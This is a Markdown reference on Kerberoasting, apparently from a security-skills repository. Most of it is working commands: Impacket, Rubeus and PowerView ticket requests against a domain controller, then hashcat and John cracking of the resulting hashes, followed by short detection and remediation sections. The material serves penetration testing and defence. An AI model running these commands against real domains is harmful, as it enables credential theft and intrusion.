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- Add scripts/agent.py and references/api-reference.md to all remaining skills - Update all 648 LICENSE files: copyright now reads 'Mahipal' - Add implementing-security-monitoring-with-datadog (new skill with full anatomy) - All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
106 lines
2.2 KiB
Markdown
106 lines
2.2 KiB
Markdown
# API Reference: Kerberoasting with Impacket
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## MITRE ATT&CK T1558.003 — Kerberoasting
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### Attack Flow
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1. Authenticate to AD with domain user credentials
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2. Query LDAP for accounts with SPNs
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3. Request TGS tickets for those SPNs
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4. Extract ticket hashes
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5. Crack offline with wordlist
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## Impacket — GetUserSPNs.py
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### Enumerate SPN Accounts
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```bash
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GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1
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```
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### Request TGS Tickets
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```bash
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GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 \
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-request -outputfile kerberoast.txt
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```
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### With NTLM Hash
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```bash
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GetUserSPNs.py domain.local/user -hashes :NTLM_HASH -dc-ip 10.10.10.1 -request
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```
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### Output Format (Hashcat mode 13100)
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```
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$krb5tgs$23$*svc_sql$DOMAIN.LOCAL$...$<hash>
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```
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## Rubeus — Windows Kerberoasting
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### Kerberoast All SPNs
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```cmd
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Rubeus.exe kerberoast /outfile:hashes.txt
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```
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### Target Specific User
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```cmd
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Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt
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```
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### RC4 Only (weaker, easier to crack)
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```cmd
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Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt
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```
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## Hash Cracking
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### Hashcat
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```bash
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# Kerberos 5 TGS-REP etype 23 (RC4)
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hashcat -m 13100 hashes.txt wordlist.txt
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# Kerberos 5 TGS-REP etype 17 (AES-128)
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hashcat -m 19600 hashes.txt wordlist.txt
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# Kerberos 5 TGS-REP etype 18 (AES-256)
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hashcat -m 19700 hashes.txt wordlist.txt
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```
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### John the Ripper
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```bash
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john --wordlist=wordlist.txt hashes.txt
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```
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## PowerShell Enumeration
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### Find SPN Accounts
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```powershell
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Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
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-Properties ServicePrincipalName, PasswordLastSet
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```
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### Request TGS (PowerView)
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```powershell
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Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash
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```
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## Detection
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### Event IDs
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| Event | Description |
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|-------|-------------|
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| 4769 | Kerberos Service Ticket Request |
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| 4770 | Service Ticket Renewed |
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### Detection Query
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```kql
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SecurityEvent
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| where EventID == 4769
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| where TicketEncryptionType == "0x17" // RC4
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| where ServiceName !endswith "$"
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| summarize count() by Account, ServiceName
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```
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## Remediation
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1. Use Group Managed Service Accounts (gMSA)
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2. Set strong passwords (25+ characters) on SPN accounts
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3. Enable AES encryption for Kerberos (disable RC4)
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4. Monitor Event 4769 for anomalous TGS requests
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